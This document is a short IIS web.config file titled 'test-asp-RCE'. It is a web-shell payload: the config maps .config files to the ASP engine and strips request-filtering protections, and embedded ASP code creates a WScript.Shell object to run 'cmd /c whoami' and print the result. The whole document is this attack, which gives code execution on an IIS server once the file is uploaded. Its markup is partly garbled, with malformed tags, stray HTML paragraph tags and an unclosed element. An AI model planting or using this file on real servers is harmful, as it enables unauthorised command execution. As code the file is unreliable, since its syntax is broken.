test-asp-RCE

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
        <add name="web_config" path="*.config" verb="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"\>
        </handlers>

        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config"/>
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config"/>
                </hiddenSegments>
            <requestFiltering>
        </security>
    </system.webServer>
    <appSettings>
    </appSettings>
</configuration>

<!-
<% Response.write("-" & "->")
Response.write("</p>
<pre>")</p>
<p>Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function</p>

<p>Response.write(getCommandOutput('cmd /c whoami'))
Response.write("</pre>
</p><!-" & "-")%>
->